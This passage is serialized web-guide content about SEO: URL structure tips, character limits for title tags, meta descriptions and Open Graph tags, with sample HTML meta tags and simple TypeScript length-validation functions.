parameters",[143,182643,182644],{},"?id=3&cat=7&sort=asc"," blocks search engines from indexing efficiently",[44,182647,182648,182651],{},[47,182649,182650],{},"Session IDs in URLs"," — creates infinite URLs for the same content",[44,182653,182654,182657],{},[47,182655,182656],{},"Ignoring 301 redirects"," — changing a slug without redirecting the old URL loses existing rankings",[11,182659,1355],{"id":1354},[41,182661,182662,182665,182668,182671,182674,182677,182680,182685],{},[44,182663,182664],{},"Mirror your site hierarchy in your URL structure with 3–4 levels of depth",[44,182666,182667],{},"Front-load your target keyword in the slug and keep it to 3–5 words",[44,182669,182670],{},"Remove stop words unless they change the meaning",[44,182672,182673],{},"Keep total URLs under 100 characters and slugs under 60",[44,182675,182676],{},"Use lowercase exclusively and enforce it with redirects",[44,182678,182679],{},"Choose one trailing slash convention and stick to it",[44,182681,182682,182683,124277],{},"Use subdirectories for multilingual content with ",[143,182684,182587],{},[44,182686,182687],{},"Always 301 redirect old URLs when you change slugs",[11,182689,321],{"id":320},[41,182691,182692,182698,182704],{},[44,182693,182694],{},[98,182695,182697],{"href":182696},"\u002Fguides\u002Furl-slug-guide","URL Slug Guide: What Slugs Are and Why They Matter for SEO",[44,182699,182700],{},[98,182701,182703],{"href":182702},"\u002Fguides\u002Fslugification-how-it-works","How Slugification Works: From Title to URL-Safe String",[44,182705,182706],{},[98,182707,12185],{"href":12184},[11,182709,286],{"id":285},[16,182711,182712,182713,182715,182716,182718],{},"Generate clean slugs from any heading with our ",[98,182714,156905],{"href":156904},", and break down any existing URL into its components with the ",[98,182717,99078],{"href":99077}," — both free, no signup needed.",{"title":141,"searchDepth":337,"depth":337,"links":182720},[182721,182722,182723,182724,182725,182726,182727,182728,182729,182730,182731,182732,182733],{"id":182219,"depth":337,"text":182220},{"id":182229,"depth":337,"text":182230},{"id":182280,"depth":337,"text":182281},{"id":182318,"depth":337,"text":182319},{"id":98845,"depth":337,"text":98846},{"id":182427,"depth":337,"text":182428},{"id":182448,"depth":337,"text":182449},{"id":182472,"depth":337,"text":182473},{"id":182495,"depth":337,"text":182496},{"id":182591,"depth":337,"text":182592},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to structure URLs for maximum SEO impact — path hierarchy, keyword placement, stop words, and common mistakes to avoid.",{"immutable":363},"\u002Fguides\u002Fseo-friendly-urls",{"title":182214,"description":182734},"guides\u002Fseo-friendly-urls","H_eXLcvFdc-Zqo2ErzU9O9v7kdTBmTSn4dHQ_MolbtA",{"id":182741,"title":182742,"body":182743,"date":2070,"description":183716,"extension":361,"meta":183717,"navigation":363,"path":183718,"readingTime":1710,"seo":183719,"stem":183720,"__hash__":183721},"guides\u002Fguides\u002Fseo-meta-character-limits.md","SEO Meta Tag Character Limits",{"type":8,"value":182744,"toc":183697},[182745,182749,182752,182755,182759,182828,182834,182838,182841,182847,182853,182856,182860,182922,182928,182932,182935,182955,182958,182961,182965,182968,183058,183062,183190,183194,183256,183260,183263,183512,183516,183633,183637,183662,183664,183682,183684,183687,183694],[11,182746,182748],{"id":182747},"why-meta-tag-length-matters","Why Meta Tag Length Matters",[16,182750,182751],{},"Search engines don't publish hard character limits for meta tags — they use pixel-based truncation instead. But character counts remain the most practical way to check your meta tags during development. Go over the threshold and search engines truncate your carefully written titles and descriptions with an ellipsis, hiding information from potential visitors.",[16,182753,182754],{},"Truncation doesn't just look bad — it hurts click-through rates. Studies show that complete, visible titles and descriptions get meaningfully higher CTR than truncated ones.",[11,182756,182758],{"id":182757},"title-tag-limits","Title Tag Limits",[193,182760,182761,182777],{},[196,182762,182763],{},[199,182764,182765,182768,182771,182774],{},[202,182766,182767],{},"Engine",[202,182769,182770],{},"Pixel Limit",[202,182772,182773],{},"Approx. Character Limit",[202,182775,182776],{},"Truncation Style",[211,182778,182779,182793,182806,182817],{},[199,182780,182781,182784,182787,182790],{},[216,182782,182783],{},"Google Desktop",[216,182785,182786],{},"580px",[216,182788,182789],{},"~60 characters",[216,182791,182792],{},"Ellipsis (…)",[199,182794,182795,182798,182801,182804],{},[216,182796,182797],{},"Google Mobile",[216,182799,182800],{},"520px",[216,182802,182803],{},"~50–55 characters",[216,182805,182792],{},[199,182807,182808,182811,182813,182815],{},[216,182809,182810],{},"Bing",[216,182812,107704],{},[216,182814,182789],{},[216,182816,182792],{},[199,182818,182819,182822,182824,182826],{},[216,182820,182821],{},"DuckDuckGo",[216,182823,182789],{},[216,182825,182789],{},[216,182827,182792],{},[16,182829,182830,182833],{},[47,182831,182832],{},"Best practice: Keep title tags under 60 characters."," If you must go longer, front-load the most important keyword so truncation cuts less critical text.",[33,182835,182837],{"id":182836},"title-tag-formula","Title Tag Formula",[16,182839,182840],{},"For tool pages, use this pattern:",[135,182842,182845],{"className":182843,"code":182844,"language":140},[138],"[Tool Name] Online - Free [Short Description] | [Site Name]\n",[143,182846,182844],{"__ignoreMap":141},[16,182848,182849,182850],{},"Example: ",[143,182851,182852],{},"JSON Formatter Online - Free Format & Validate JSON | ToolBoxes",[16,182854,182855],{},"The tool name and \"Free\" keyword appear first. The site brand goes last, where truncation is least harmful.",[11,182857,182859],{"id":182858},"meta-description-limits","Meta Description Limits",[193,182861,182862,182874],{},[196,182863,182864],{},[199,182865,182866,182868,182870,182872],{},[202,182867,182767],{},[202,182869,182770],{},[202,182871,182773],{},[202,182873,182776],{},[211,182875,182876,182888,182900,182912],{},[199,182877,182878,182880,182883,182886],{},[216,182879,182783],{},[216,182881,182882],{},"1,040px",[216,182884,182885],{},"~155 characters",[216,182887,182792],{},[199,182889,182890,182892,182895,182898],{},[216,182891,182797],{},[216,182893,182894],{},"850px",[216,182896,182897],{},"~120 characters",[216,182899,182792],{},[199,182901,182902,182904,182907,182910],{},[216,182903,182810],{},[216,182905,182906],{},"960px",[216,182908,182909],{},"~150 characters",[216,182911,182792],{},[199,182913,182914,182916,182918,182920],{},[216,182915,182821],{},[216,182917,182885],{},[216,182919,182885],{},[216,182921,182792],{},[16,182923,182924,182927],{},[47,182925,182926],{},"Best practice: Aim for 150 characters."," Write descriptions that work at both 120 (mobile) and 155 (desktop) characters by placing the core value proposition in the first 120 characters.",[33,182929,182931],{"id":182930},"writing-effective-descriptions","Writing Effective Descriptions",[16,182933,182934],{},"Good meta descriptions do three things:",[77,182936,182937,182943,182949],{},[44,182938,182939,182942],{},[47,182940,182941],{},"State the value"," — \"Free online tool that…\"",[44,182944,182945,182948],{},[47,182946,182947],{},"Include a differentiator"," — \"No signup, no upload limits\"",[44,182950,182951,182954],{},[47,182952,182953],{},"Add a keyword"," — naturally, not stuffed",[16,182956,182957],{},"Bad: \"We have a JSON formatter tool that you can use to format your JSON data online for free without having to sign up.\" (120 chars, no differentiation)",[16,182959,182960],{},"Good: \"Free online JSON formatter. Paste, format, and validate JSON instantly. No signup, works offline.\" (87 chars, clear value)",[11,182962,182964],{"id":182963},"open-graph-og-tag-limits","Open Graph (OG) Tag Limits",[16,182966,182967],{},"Open Graph tags control how your pages appear when shared on social media:",[193,182969,182970,182985],{},[196,182971,182972],{},[199,182973,182974,182976,182979,182982],{},[202,182975,152293],{},[202,182977,182978],{},"Recommended Length",[202,182980,182981],{},"Max",[202,182983,182984],{},"Display Notes",[211,182986,182987,183000,183014,183029,183043],{},[199,182988,182989,182993,182995,182997],{},[216,182990,182991],{},[143,182992,161130],{},[216,182994,152311],{},[216,182996,49777],{},[216,182998,182999],{},"Facebook truncates at ~95",[199,183001,183002,183006,183009,183011],{},[216,183003,183004],{},[143,183005,161143],{},[216,183007,183008],{},"155 characters",[216,183010,44009],{},[216,183012,183013],{},"Facebook shows ~300, LinkedIn ~156",[199,183015,183016,183020,183023,183026],{},[216,183017,183018],{},[143,183019,161156],{},[216,183021,183022],{},"1200×630 px",[216,183024,183025],{},"5MB",[216,183027,183028],{},"Aspect ratio 1.91:1",[199,183030,183031,183035,183038,183040],{},[216,183032,183033],{},[143,183034,161756],{},[216,183036,183037],{},"70 characters",[216,183039,47166],{},[216,183041,183042],{},"Strict limit",[199,183044,183045,183050,183053,183055],{},[216,183046,183047],{},[143,183048,183049],{},"twitter:description",[216,183051,183052],{},"200 characters",[216,183054,18101],{},[216,183056,183057],{},"Truncated earlier visual",[33,183059,183061],{"id":183060},"og-tags-implementation","OG Tags Implementation",[135,183063,183065],{"className":6417,"code":183064,"language":6419,"meta":141,"style":141},"\u003Cmeta property=\"og:title\" content=\"JSON Formatter Online - Free Format & Validate\" \u002F>\n\u003Cmeta property=\"og:description\" content=\"Free online JSON formatter. Paste, format, and validate JSON instantly.\" \u002F>\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002Fexample.com\u002Fog\u002Fjson-formatter.png\" \u002F>\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\" \u002F>\n\u003Cmeta name=\"twitter:title\" content=\"JSON Formatter Online - Free Format & Validate\" \u002F>\n\u003Cmeta name=\"twitter:description\" content=\"Free online JSON formatter. Paste, format, and validate JSON instantly.\" \u002F>\n",[143,183066,183067,183088,183109,183130,183150,183170],{"__ignoreMap":141},[1560,183068,183069,183071,183073,183075,183077,183079,183081,183083,183086],{"class":1562,"line":1563},[1560,183070,6431],{"class":1570},[1560,183072,108827],{"class":2484},[1560,183074,67469],{"class":1566},[1560,183076,7297],{"class":1570},[1560,183078,161197],{"class":5634},[1560,183080,108854],{"class":1566},[1560,183082,7297],{"class":1570},[1560,183084,183085],{"class":5634},"\"JSON Formatter Online - Free Format & Validate\"",[1560,183087,124341],{"class":1570},[1560,183089,183090,183092,183094,183096,183098,183100,183102,183104,183107],{"class":1562,"line":337},[1560,183091,6431],{"class":1570},[1560,183093,108827],{"class":2484},[1560,183095,67469],{"class":1566},[1560,183097,7297],{"class":1570},[1560,183099,161218],{"class":5634},[1560,183101,108854],{"class":1566},[1560,183103,7297],{"class":1570},[1560,183105,183106],{"class":5634},"\"Free online JSON formatter. Paste, format, and validate JSON instantly.\"",[1560,183108,124341],{"class":1570},[1560,183110,183111,183113,183115,183117,183119,183121,183123,183125,183128],{"class":1562,"line":343},[1560,183112,6431],{"class":1570},[1560,183114,108827],{"class":2484},[1560,183116,67469],{"class":1566},[1560,183118,7297],{"class":1570},[1560,183120,161240],{"class":5634},[1560,183122,108854],{"class":1566},[1560,183124,7297],{"class":1570},[1560,183126,183127],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fog\u002Fjson-formatter.png\"",[1560,183129,124341],{"class":1570},[1560,183131,183132,183134,183136,183138,183140,183142,183144,183146,183148],{"class":1562,"line":365},[1560,183133,6431],{"class":1570},[1560,183135,108827],{"class":2484},[1560,183137,108846],{"class":1566},[1560,183139,7297],{"class":1570},[1560,183141,161669],{"class":5634},[1560,183143,108854],{"class":1566},[1560,183145,7297],{"class":1570},[1560,183147,161676],{"class":5634},[1560,183149,124341],{"class":1570},[1560,183151,183152,183154,183156,183158,183160,183162,183164,183166,183168],{"class":1562,"line":889},[1560,183153,6431],{"class":1570},[1560,183155,108827],{"class":2484},[1560,183157,108846],{"class":1566},[1560,183159,7297],{"class":1570},[1560,183161,161691],{"class":5634},[1560,183163,108854],{"class":1566},[1560,183165,7297],{"class":1570},[1560,183167,183085],{"class":5634},[1560,183169,124341],{"class":1570},[1560,183171,183172,183174,183176,183178,183180,183182,183184,183186,183188],{"class":1562,"line":1710},[1560,183173,6431],{"class":1570},[1560,183175,108827],{"class":2484},[1560,183177,108846],{"class":1566},[1560,183179,7297],{"class":1570},[1560,183181,161712],{"class":5634},[1560,183183,108854],{"class":1566},[1560,183185,7297],{"class":1570},[1560,183187,183106],{"class":5634},[1560,183189,124341],{"class":1570},[11,183191,183193],{"id":183192},"other-meta-tags-to-watch","Other Meta Tags to Watch",[193,183195,183196,183206],{},[196,183197,183198],{},[199,183199,183200,183202,183204],{},[202,183201,152293],{},[202,183203,2976],{},[202,183205,2683],{},[211,183207,183208,183220,183231,183242],{},[199,183209,183210,183214,183217],{},[216,183211,183212],{},[143,183213,147797],{},[216,183215,183216],{},"60–70 characters",[216,183218,183219],{},"One per page, includes primary keyword",[199,183221,183222,183225,183228],{},[216,183223,183224],{},"URL slug",[216,183226,183227],{},"3–5 words",[216,183229,183230],{},"Hyphen-separated, keyword-rich",[199,183232,183233,183236,183239],{},[216,183234,183235],{},"Canonical URL",[216,183237,183238],{},"Must match",[216,183240,183241],{},"Prevent duplicate content",[199,183243,183244,183249,183251],{},[216,183245,183246],{},[143,183247,183248],{},"robots meta",[216,183250,65916],{},[216,183252,183253,183255],{},[143,183254,152562],{}," is default",[11,183257,183259],{"id":183258},"character-count-validation","Character Count Validation",[16,183261,183262],{},"Manual counting is error-prone. Automate validation in your build process:",[135,183264,183266],{"className":17509,"code":183265,"language":17511,"meta":141,"style":141},"\u002F\u002F nuxt.config.ts or utils\u002Fseo.ts\nfunction validateTitle(title: string): boolean {\n  return title.length \u003C= 60\n}\n\nfunction validateDescription(desc: string): boolean {\n  return desc.length \u003C= 155\n}\n\nfunction truncateTitle(title: string): string {\n  if (title.length \u003C= 60) return title\n  return title.slice(0, 57) + '...'\n}\n\nfunction truncateDescription(desc: string): string {\n  if (desc.length \u003C= 155) return desc\n  return desc.slice(0, 152) + '...'\n}\n",[143,183267,183268,183273,183297,183312,183316,183320,183344,183358,183362,183366,183389,183409,183433,183437,183441,183464,183485,183508],{"__ignoreMap":141},[1560,183269,183270],{"class":1562,"line":1563},[1560,183271,183272],{"class":1649},"\u002F\u002F nuxt.config.ts or utils\u002Fseo.ts\n",[1560,183274,183275,183277,183280,183282,183284,183286,183288,183290,183292,183295],{"class":1562,"line":337},[1560,183276,8648],{"class":1669},[1560,183278,183279],{"class":1566}," validateTitle",[1560,183281,1688],{"class":1570},[1560,183283,108868],{"class":2219},[1560,183285,8037],{"class":1669},[1560,183287,134008],{"class":1576},[1560,183289,1525],{"class":1570},[1560,183291,8037],{"class":1669},[1560,183293,183294],{"class":1576}," boolean",[1560,183296,1571],{"class":1570},[1560,183298,183299,183301,183304,183306,183309],{"class":1562,"line":343},[1560,183300,9350],{"class":1669},[1560,183302,183303],{"class":1570}," title.",[1560,183305,9418],{"class":1576},[1560,183307,183308],{"class":1669}," \u003C=",[1560,183310,183311],{"class":1576}," 60\n",[1560,183313,183314],{"class":1562,"line":365},[1560,183315,1585],{"class":1570},[1560,183317,183318],{"class":1562,"line":889},[1560,183319,1702],{"emptyLinePlaceholder":363},[1560,183321,183322,183324,183327,183329,183332,183334,183336,183338,183340,183342],{"class":1562,"line":1710},[1560,183323,8648],{"class":1669},[1560,183325,183326],{"class":1566}," validateDescription",[1560,183328,1688],{"class":1570},[1560,183330,183331],{"class":2219},"desc",[1560,183333,8037],{"class":1669},[1560,183335,134008],{"class":1576},[1560,183337,1525],{"class":1570},[1560,183339,8037],{"class":1669},[1560,183341,183294],{"class":1576},[1560,183343,1571],{"class":1570},[1560,183345,183346,183348,183351,183353,183355],{"class":1562,"line":1717},[1560,183347,9350],{"class":1669},[1560,183349,183350],{"class":1570}," desc.",[1560,183352,9418],{"class":1576},[1560,183354,183308],{"class":1669},[1560,183356,183357],{"class":1576}," 155\n",[1560,183359,183360],{"class":1562,"line":1747},[1560,183361,1585],{"class":1570},[1560,183363,183364],{"class":1562,"line":2507},[1560,183365,1702],{"emptyLinePlaceholder":363},[1560,183367,183368,183370,183373,183375,183377,183379,183381,183383,183385,183387],{"class":1562,"line":2524},[1560,183369,8648],{"class":1669},[1560,183371,183372],{"class":1566}," truncateTitle",[1560,183374,1688],{"class":1570},[1560,183376,108868],{"class":2219},[1560,183378,8037],{"class":1669},[1560,183380,134008],{"class":1576},[1560,183382,1525],{"class":1570},[1560,183384,8037],{"class":1669},[1560,183386,134008],{"class":1576},[1560,183388,1571],{"class":1570},[1560,183390,183391,183393,183396,183398,183400,183402,183404,183406],{"class":1562,"line":2529},[1560,183392,27984],{"class":1669},[1560,183394,183395],{"class":1570}," (title.",[1560,183397,9418],{"class":1576},[1560,183399,183308],{"class":1669},[1560,183401,18338],{"class":1576},[1560,183403,1733],{"class":1570},[1560,183405,28313],{"class":1669},[1560,183407,183408],{"class":1570}," title\n",[1560,183410,183411,183413,183415,183417,183419,183421,183423,183426,183428,183430],{"class":1562,"line":2534},[1560,183412,9350],{"class":1669},[1560,183414,183303],{"class":1570},[1560,183416,38951],{"class":1566},[1560,183418,1688],{"class":1570},[1560,183420,5285],{"class":1576},[1560,183422,1459],{"class":1570},[1560,183424,183425],{"class":1576},"57",[1560,183427,1733],{"class":1570},[1560,183429,9448],{"class":1669},[1560,183431,183432],{"class":5634}," '...'\n",[1560,183434,183435],{"class":1562,"line":2542},[1560,183436,1585],{"class":1570},[1560,183438,183439],{"class":1562,"line":2558},[1560,183440,1702],{"emptyLinePlaceholder":363},[1560,183442,183443,183445,183448,183450,183452,183454,183456,183458,183460,183462],{"class":1562,"line":2570},[1560,183444,8648],{"class":1669},[1560,183446,183447],{"class":1566}," truncateDescription",[1560,183449,1688],{"class":1570},[1560,183451,183331],{"class":2219},[1560,183453,8037],{"class":1669},[1560,183455,134008],{"class":1576},[1560,183457,1525],{"class":1570},[1560,183459,8037],{"class":1669},[1560,183461,134008],{"class":1576},[1560,183463,1571],{"class":1570},[1560,183465,183466,183468,183471,183473,183475,183478,183480,183482],{"class":1562,"line":6638},[1560,183467,27984],{"class":1669},[1560,183469,183470],{"class":1570}," (desc.",[1560,183472,9418],{"class":1576},[1560,183474,183308],{"class":1669},[1560,183476,183477],{"class":1576}," 155",[1560,183479,1733],{"class":1570},[1560,183481,28313],{"class":1669},[1560,183483,183484],{"class":1570}," desc\n",[1560,183486,183487,183489,183491,183493,183495,183497,183499,183502,183504,183506],{"class":1562,"line":11615},[1560,183488,9350],{"class":1669},[1560,183490,183350],{"class":1570},[1560,183492,38951],{"class":1566},[1560,183494,1688],{"class":1570},[1560,183496,5285],{"class":1576},[1560,183498,1459],{"class":1570},[1560,183500,183501],{"class":1576},"152",[1560,183503,1733],{"class":1570},[1560,183505,9448],{"class":1669},[1560,183507,183432],{"class":5634},[1560,183509,183510],{"class":1562,"line":11621},[1560,183511,1585],{"class":1570},[33,183513,183515],{"id":183514},"nuxt-usehead-validation","Nuxt useHead Validation",[135,183517,183519],{"className":17509,"code":183518,"language":17511,"meta":141,"style":141},"useHead({\n  title: truncateTitle(`${tool.name} Online - Free ${short} | ${SITE}`),\n  meta: [\n    {\n      name: 'description',\n      content: truncateDescription(`Free online ${tool.name.toLowerCase()}. ${tool.description}`)\n    }\n  ]\n})\n",[143,183520,183521,183528,183562,183567,183572,183582,183621,183625,183629],{"__ignoreMap":141},[1560,183522,183523,183526],{"class":1562,"line":1563},[1560,183524,183525],{"class":1566},"useHead",[1560,183527,17525],{"class":1570},[1560,183529,183530,183533,183536,183538,183540,183543,183545,183547,183550,183552,183555,183558,183560],{"class":1562,"line":337},[1560,183531,183532],{"class":1570},"  title: ",[1560,183534,183535],{"class":1566},"truncateTitle",[1560,183537,1688],{"class":1570},[1560,183539,9560],{"class":5634},[1560,183541,183542],{"class":1570},"tool",[1560,183544,468],{"class":5634},[1560,183546,82747],{"class":1570},[1560,183548,183549],{"class":5634},"} Online - Free ${",[1560,183551,114066],{"class":1570},[1560,183553,183554],{"class":5634},"} | ${",[1560,183556,183557],{"class":1576},"SITE",[1560,183559,9582],{"class":5634},[1560,183561,19216],{"class":1570},[1560,183563,183564],{"class":1562,"line":343},[1560,183565,183566],{"class":1570},"  meta: [\n",[1560,183568,183569],{"class":1562,"line":365},[1560,183570,183571],{"class":1570},"    {\n",[1560,183573,183574,183577,183580],{"class":1562,"line":889},[1560,183575,183576],{"class":1570},"      name: ",[1560,183578,183579],{"class":5634},"'description'",[1560,183581,11943],{"class":1570},[1560,183583,183584,183587,183590,183592,183595,183597,183599,183601,183603,183605,183607,183610,183612,183614,183617,183619],{"class":1562,"line":1710},[1560,183585,183586],{"class":1570},"      content: ",[1560,183588,183589],{"class":1566},"truncateDescription",[1560,183591,1688],{"class":1570},[1560,183593,183594],{"class":5634},"`Free online ${",[1560,183596,183542],{"class":1570},[1560,183598,468],{"class":5634},[1560,183600,82747],{"class":1570},[1560,183602,468],{"class":5634},[1560,183604,38784],{"class":1566},[1560,183606,90220],{"class":5634},[1560,183608,183609],{"class":5634},"}. ${",[1560,183611,183542],{"class":1570},[1560,183613,468],{"class":5634},[1560,183615,183616],{"class":1570},"description",[1560,183618,9582],{"class":5634},[1560,183620,8252],{"class":1570},[1560,183622,183623],{"class":1562,"line":1717},[1560,183624,11612],{"class":1570},[1560,183626,183627],{"class":1562,"line":1747},[1560,183628,49526],{"class":1570},[1560,183630,183631],{"class":1562,"line":2507},[1560,183632,1626],{"class":1570},[11,183634,183636],{"id":183635},"common-seo-meta-mistakes","Common SEO Meta Mistakes",[41,183638,183639,183644,183650,183656],{},[44,183640,183641,183643],{},[47,183642,182620],{},": \"JSON Formatter | JSON Formatter Online | Free JSON Formatter | Best JSON Formatter\" — truncated and spammy",[44,183645,183646,183649],{},[47,183647,183648],{},"Duplicate titles",": Every page titled \"Home — ToolBoxes\" — search engines treat these as duplicate content",[44,183651,183652,183655],{},[47,183653,183654],{},"Empty descriptions",": Google auto-generates snippets from page content, often poorly",[44,183657,183658,183661],{},[47,183659,183660],{},"Ignoring mobile",": Desktop shows 155-char descriptions; mobile truncates at ~120. Front-load your message.",[11,183663,321],{"id":320},[41,183665,183666,183671,183676],{},[44,183667,183668],{},[98,183669,183670],{"href":182736},"SEO Friendly URLs",[44,183672,183673],{},[98,183674,183675],{"href":182696},"URL Slug Guide",[44,183677,183678],{},[98,183679,183681],{"href":183680},"\u002Fguides\u002Fsocial-media-character-limits","Social Media Character Limits",[11,183683,286],{"id":285},[16,183685,183686],{},"Count characters for your SEO title tags, meta descriptions, and OG tags instantly. Our free tool highlights when you're approaching the truncation threshold.",[16,183688,4531,183689],{},[98,183690,183691],{"href":24487},[47,183692,183693],{},"Free Character Counter",[2043,183695,183696],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":183698},[183699,183700,183703,183706,183709,183710,183713,183714,183715],{"id":182747,"depth":337,"text":182748},{"id":182757,"depth":337,"text":182758,"children":183701},[183702],{"id":182836,"depth":343,"text":182837},{"id":182858,"depth":337,"text":182859,"children":183704},[183705],{"id":182930,"depth":343,"text":182931},{"id":182963,"depth":337,"text":182964,"children":183707},[183708],{"id":183060,"depth":343,"text":183061},{"id":183192,"depth":337,"text":183193},{"id":183258,"depth":337,"text":183259,"children":183711},[183712],{"id":183514,"depth":343,"text":183515},{"id":183635,"depth":337,"text":183636},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Optimal character counts for title tags, meta descriptions, and OG tags for search visibility.",{"immutable":363},"\u002Fguides\u002Fseo-meta-character-limits",{"title":182742,"description":183716},"guides\u002Fseo-meta-character-limits","26WcEIlD9pCkg9hEMpZUNnFmQDtrIlBhVS1JrLAV3Ks",{"id":183723,"title":183724,"body":183725,"date":2070,"description":184271,"extension":361,"meta":184272,"navigation":363,"path":184273,"readingTime":1710,"seo":184274,"stem":184275,"__hash__":184276},"guides\u002Fguides\u002Fseo-meta-description-character-limits.md","SEO Meta Description Character Limits: Writing Snippets That Get Clicks",{"type":8,"value":183726,"toc":184261},[183727,183730,183734,183737,183773,183793,183798,183802,183805,183831,183834,183838,183841,183853,183879,183884,183916,183921,183945,183949,183952,184128,184131,184135,184145,184199,184205,184207,184230,184232,184249,184251,184258],[16,183728,183729],{},"Meta descriptions are the short summaries that appear under your page title in search results. They do not directly affect rankings, but they strongly influence click-through rates. Writing effective meta descriptions means understanding how search engines truncate and rewrite them — and optimizing for the snippet users actually see.",[11,183731,183733],{"id":183732},"the-real-character-limit","The Real Character Limit",[16,183735,183736],{},"Google does not have a fixed character limit for meta descriptions. Instead, it truncates based on pixel width — roughly 600 pixels on desktop and 1200 pixels on mobile (as of 2025). In practice, this translates to:",[193,183738,183739,183752],{},[196,183740,183741],{},[199,183742,183743,183746,183749],{},[202,183744,183745],{},"Device",[202,183747,183748],{},"Approximate Limit",[202,183750,183751],{},"Safe Target",[211,183753,183754,183763],{},[199,183755,183756,183758,183761],{},[216,183757,97311],{},[216,183759,183760],{},"155–160 characters",[216,183762,152324],{},[199,183764,183765,183767,183770],{},[216,183766,96140],{},[216,183768,183769],{},"120–130 characters",[216,183771,183772],{},"120 characters",[16,183774,183775,183776,1459,183779,1466,183781,183784,183785,1459,183787,1466,183789,183792],{},"Characters are not equal in pixel width. A description full of ",[143,183777,183778],{},"W",[143,183780,22024],{},[143,183782,183783],{},"m"," will truncate sooner than one with ",[143,183786,7975],{},[143,183788,157026],{},[143,183790,183791],{},"t",". The safe target of 120–150 characters ensures your description displays fully on both mobile and desktop.",[16,183794,183795,183797],{},[47,183796,42103],{},": Write the most important information in the first 120 characters. If Google truncates the rest, the critical message still appears.",[11,183799,183801],{"id":183800},"when-google-rewrites-your-description","When Google Rewrites Your Description",[16,183803,183804],{},"Google rewrites meta descriptions in roughly 60–70% of cases. It pulls replacement text from page content — often matching the user's query with a relevant paragraph. This happens when:",[41,183806,183807,183813,183819,183825],{},[44,183808,183809,183812],{},[47,183810,183811],{},"Your description is too vague"," — \"Learn about our services\" gives Google no useful signal",[44,183814,183815,183818],{},[47,183816,183817],{},"The query matches page content better"," — a user searches for \"pricing\" but your description does not mention it",[44,183820,183821,183824],{},[47,183822,183823],{},"Your description is too long or too short"," — extremes trigger rewrites more often",[44,183826,183827,183830],{},[47,183828,183829],{},"Your description is duplicated"," — the same description across multiple pages signals low quality",[16,183832,183833],{},"You cannot prevent rewrites entirely, but you can reduce their likelihood by writing specific, query-relevant descriptions.",[11,183835,183837],{"id":183836},"writing-descriptions-that-earn-clicks","Writing Descriptions That Earn Clicks",[16,183839,183840],{},"A good meta description does three things: states what the page offers, differentiates it from competitors, and includes a reason to click.",[16,183842,183843,1663,183845,21111,183848,21111,183851],{},[47,183844,90949],{},[1560,183846,183847],{},"What it is",[1560,183849,183850],{},"Key benefit",[1560,183852,31248],{},[135,183854,183856],{"className":6417,"code":183855,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"description\" content=\"Free online JSON formatter. Validate, beautify, and minify JSON instantly in your browser. No signup, no data sent to servers.\">\n",[143,183857,183858],{"__ignoreMap":141},[1560,183859,183860,183862,183864,183866,183868,183870,183872,183874,183877],{"class":1562,"line":1563},[1560,183861,6431],{"class":1570},[1560,183863,108827],{"class":2484},[1560,183865,108846],{"class":1566},[1560,183867,7297],{"class":1570},[1560,183869,152497],{"class":5634},[1560,183871,108854],{"class":1566},[1560,183873,7297],{"class":1570},[1560,183875,183876],{"class":5634},"\"Free online JSON formatter. Validate, beautify, and minify JSON instantly in your browser. No signup, no data sent to servers.\"",[1560,183878,6441],{"class":1570},[16,183880,183881,8037],{},[47,183882,183883],{},"Techniques that increase clicks",[41,183885,183886,183892,183898,183904,183910],{},[44,183887,183888,183891],{},[47,183889,183890],{},"Include a number"," — \"10 tools\" or \"3 steps\" draws the eye",[44,183893,183894,183897],{},[47,183895,183896],{},"Mention \"free\""," — when your tool is genuinely free, say so",[44,183899,183900,183903],{},[47,183901,183902],{},"Use active voice"," — \"Format your JSON\" beats \"JSON can be formatted\"",[44,183905,183906,183909],{},[47,183907,183908],{},"Match search intent"," — if users search \"how to format JSON,\" address the \"how\"",[44,183911,183912,183915],{},[47,183913,183914],{},"Avoid generic phrases"," — \"Welcome to our website\" wastes every character",[16,183917,183918,8037],{},[47,183919,183920],{},"What to avoid",[41,183922,183923,183928,183934,183940],{},[44,183924,183925,183927],{},[47,183926,182620],{}," — \"JSON formatter, JSON validator, JSON parser, JSON tool\"—Google may treat this as spam",[44,183929,183930,183933],{},[47,183931,183932],{},"Quotation marks"," — Google truncates at the first double quote; use single quotes or omit them",[44,183935,183936,183939],{},[47,183937,183938],{},"Duplicate descriptions"," — every page should have a unique description",[44,183941,183942,183944],{},[47,183943,183654],{}," — letting Google auto-generate is fine for massive sites, but deliberate pages deserve deliberate descriptions",[11,183946,183948],{"id":183947},"character-count-implementation","Character Count Implementation",[16,183950,183951],{},"When building tools that measure meta description 